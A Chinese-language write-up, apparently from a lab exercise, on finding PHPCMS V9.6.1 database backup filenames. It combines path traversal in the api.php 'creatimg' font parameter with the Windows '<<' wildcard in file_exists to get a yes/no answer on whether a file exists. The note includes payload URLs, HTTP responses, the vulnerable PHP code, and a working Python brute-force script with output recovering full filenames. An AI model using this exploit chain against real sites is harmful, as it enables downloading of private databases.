# PHPCMS V9.6.1暴力猜解備份數據庫文件 ###### tags: `phpcms` 登錄phpcms的管理員後台,在擴展模塊找到數據庫工具,選中數據庫文件可以備份數據庫 我這邊backup三個 ``` phpcms\caches\bakup\default\0gxzgvxskyfaz86zy5cu_db_20230301_1.sql phpcms\caches\bakup\default\grtg4v4ft42sw48ak05g_db_20230301_1.sql phpcms\caches\bakup\default\ve6igdedpgr85gxckrz8_db_20230301_1.sql ``` 直接訪問.sql 可以直接下載檔案: http://localhost/caches/bakup/default/0gxzgvxskyfaz86zy5cu_db_20230301_1.sql 現在我們只知道數據庫備份文件的路徑,但sql文件的名字我們要如何獲取?並且sql文件名是一串30多位隨機數,很難直接通過暴力破解獲取到文件名。 windows的FindFirstFile(API)有個特性就是可以把<<當成通配符來用,php中的文件操作函數都調用了FindFirstFile函數,包括opendir函數,因此file_exists函數也可以使用<<通配符。 payload: ``` http://localhost/api.php?op=creatimg&txt=1&font=/../../../../caches/bakup/default/<<.sql ``` response: ``` HTTP/1.1 200 OK Date: Wed, 01 Mar 2023 08:08:40 GMT Server: Apache/2.2.31 (Win32) DAV/2 mod_ssl/2.2.31 OpenSSL/1.0.2h mod_fcgid/2.3.9 mod_wsgi/3.4 Python/2.7.6 PHP/7.4.1 mod_perl/2.0.8 Perl/v5.16.3 X-Powered-By: PHP/7.4.1 Content-Length: 98 Connection: close Content-Type: image/png 出現一些錯誤的圖片無法解析.... ``` 出現這個代表有獨取到檔案 payload: ``` http://localhost/api.php?op=creatimg&txt=1&font=/../../../../caches/bakup/default/11111<<.sql Cannot Initialize new GD image stream ``` response: ``` HTTP/1.1 200 OK Date: Wed, 01 Mar 2023 08:09:59 GMT Server: Apache/2.2.31 (Win32) DAV/2 mod_ssl/2.2.31 OpenSSL/1.0.2h mod_fcgid/2.3.9 mod_wsgi/3.4 Python/2.7.6 PHP/7.4.1 mod_perl/2.0.8 Perl/v5.16.3 X-Powered-By: PHP/7.4.1 Content-Length: 37 Connection: close Content-Type: image/png Cannot Initialize new GD image stream ``` 出現這個代表沒有獨取到檔案 解析一下payload: ``` http://localhost/api.php?op=creatimg&txt=1&font=/../../../../caches/bakup/default/<<.sql ``` api.php 有get['op'] =creatimg ```php= define('PHPCMS_PATH', dirname(__FILE__).DIRECTORY_SEPARATOR); include PHPCMS_PATH.'phpcms/base.php'; $param = pc_base::load_sys_class('param'); $_userid = param::get_cookie('_userid'); if($_userid) { $member_db = pc_base::load_model('member_model'); $_userid = intval($_userid); $memberinfo = $member_db->get_one(array('userid'=>$_userid),'islock'); if($memberinfo['islock']) exit('<h1>Bad Request!</h1>'); } $op = isset($_GET['op']) && trim($_GET['op']) ? trim($_GET['op']) : exit('Operation can not be empty'); if (isset($_GET['callback']) && !preg_match('/^[a-zA-Z_][a-zA-Z0-9_]+$/', $_GET['callback'])) unset($_GET['callback']); if (!preg_match('/([^a-z_]+)/i',$op) && file_exists(PHPCMS_PATH.'api/'.$op.'.php')) { include PHPCMS_PATH.'api/'.$op.'.php'; } else { exit('API handler does not exist'); } ?> ``` 所以進到 api/creatimg.php ``` txt=1 font=/../../../../caches/bakup/default/<<.sql ``` 以上的參數配置可以走到 ```php= if(file_exists($fontfile)){ //计算文本写入后的宽度,右下角 X 位置-左下角 X 位置 $image_info = imagettfbbox($fontsize,0,$fontfile,$txt); $imageX = $image_info[2]-$image_info[0]+10; $imageY = $image_info[1]-$image_info[7]+5; //print_r($image_info); $im = @imagecreatetruecolor ($imageX, $imageY) or die ("Cannot Initialize new GD image stream"); $white= imagecolorallocate($im, 255, 255, 255); $font_color= imagecolorallocate($im,$fontcolor_r,$fontcolor_g,$fontcolor_b); if(intval($_GET['transparent']) == 1) imagecolortransparent($im,$white); //背景透明 imagefilledrectangle($im, 0, 0, $imageX, $imageY, $white); $txt = iconv(CHARSET,"UTF-8",$txt); imagettftext($im, $fontsize, 0, 5, $imageY-5, $font_color, $fontfile, $txt); } else { } ``` 就是利用 file_exists 可以 << 通配符的特性,找到檔案。 但我們只能知道有檔案,不能知道完整檔名,這就需要暴力破解了。 我找不到別人寫的腳本,所以我自己寫了一個,發現哇靠,我好屌.....我好短 ``` import urllib.request import re def scan(name=''): chars=['0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z','_'] for char in chars: full_url = 'http://' + 'localhost' + '/api.php?op=creatimg&txt=1&font=/../../../../caches/bakup/default/' + name + char + '<<.sql' try: #可以utf-8解析代表出現 Cannot Initialize new GD image stream data =urllib.request.urlopen(full_url).read().decode('utf-8') except: #不能解析出錯才是我們要的 match = name +char print(match) scan(match) scan() ``` 輸出效果: ``` 0 0g 0gx 0gxz 0gxzg 0gxzgv 0gxzgvx 0gxzgvxs 0gxzgvxsk 0gxzgvxsky 0gxzgvxskyf 0gxzgvxskyfa 0gxzgvxskyfaz 0gxzgvxskyfaz8 0gxzgvxskyfaz86 0gxzgvxskyfaz86z 0gxzgvxskyfaz86zy 0gxzgvxskyfaz86zy5 0gxzgvxskyfaz86zy5c 0gxzgvxskyfaz86zy5cu 0gxzgvxskyfaz86zy5cu_ 0gxzgvxskyfaz86zy5cu_d 0gxzgvxskyfaz86zy5cu_db 0gxzgvxskyfaz86zy5cu_db_ 0gxzgvxskyfaz86zy5cu_db_2 0gxzgvxskyfaz86zy5cu_db_20 0gxzgvxskyfaz86zy5cu_db_202 0gxzgvxskyfaz86zy5cu_db_2023 0gxzgvxskyfaz86zy5cu_db_20230 0gxzgvxskyfaz86zy5cu_db_202303 0gxzgvxskyfaz86zy5cu_db_2023030 0gxzgvxskyfaz86zy5cu_db_20230301 0gxzgvxskyfaz86zy5cu_db_20230301_ 0gxzgvxskyfaz86zy5cu_db_20230301_1 g gr grt grtg grtg4 grtg4v grtg4v4 grtg4v4f grtg4v4ft grtg4v4ft4 grtg4v4ft42 grtg4v4ft42s grtg4v4ft42sw grtg4v4ft42sw4 grtg4v4ft42sw48 grtg4v4ft42sw48a grtg4v4ft42sw48ak grtg4v4ft42sw48ak0 grtg4v4ft42sw48ak05 grtg4v4ft42sw48ak05g grtg4v4ft42sw48ak05g_ grtg4v4ft42sw48ak05g_d grtg4v4ft42sw48ak05g_db grtg4v4ft42sw48ak05g_db_ grtg4v4ft42sw48ak05g_db_2 grtg4v4ft42sw48ak05g_db_20 grtg4v4ft42sw48ak05g_db_202 grtg4v4ft42sw48ak05g_db_2023 grtg4v4ft42sw48ak05g_db_20230 grtg4v4ft42sw48ak05g_db_202303 grtg4v4ft42sw48ak05g_db_2023030 grtg4v4ft42sw48ak05g_db_20230301 grtg4v4ft42sw48ak05g_db_20230301_ grtg4v4ft42sw48ak05g_db_20230301_1 v ve ve6 ve6i ve6ig ve6igd ve6igde ve6igded ve6igdedp ve6igdedpg ve6igdedpgr ve6igdedpgr8 ve6igdedpgr85 ve6igdedpgr85g ve6igdedpgr85gx ve6igdedpgr85gxc ve6igdedpgr85gxck ve6igdedpgr85gxckr ve6igdedpgr85gxckrz ve6igdedpgr85gxckrz8 ve6igdedpgr85gxckrz8_ ve6igdedpgr85gxckrz8_d ve6igdedpgr85gxckrz8_db ve6igdedpgr85gxckrz8_db_ ve6igdedpgr85gxckrz8_db_2 ve6igdedpgr85gxckrz8_db_20 ve6igdedpgr85gxckrz8_db_202 ve6igdedpgr85gxckrz8_db_2023 ve6igdedpgr85gxckrz8_db_20230 ve6igdedpgr85gxckrz8_db_202303 ve6igdedpgr85gxckrz8_db_2023030 ve6igdedpgr85gxckrz8_db_20230301 ve6igdedpgr85gxckrz8_db_20230301_ ve6igdedpgr85gxckrz8_db_20230301_1 ``` 如此一來就爆破成功了。 心得:寫腳本的時候,debug突然想到用遞回好像是最好的辦法。 這題沒啥難度,就是get參數,改一改,但沒想到 file_exists 居然還有如此妙用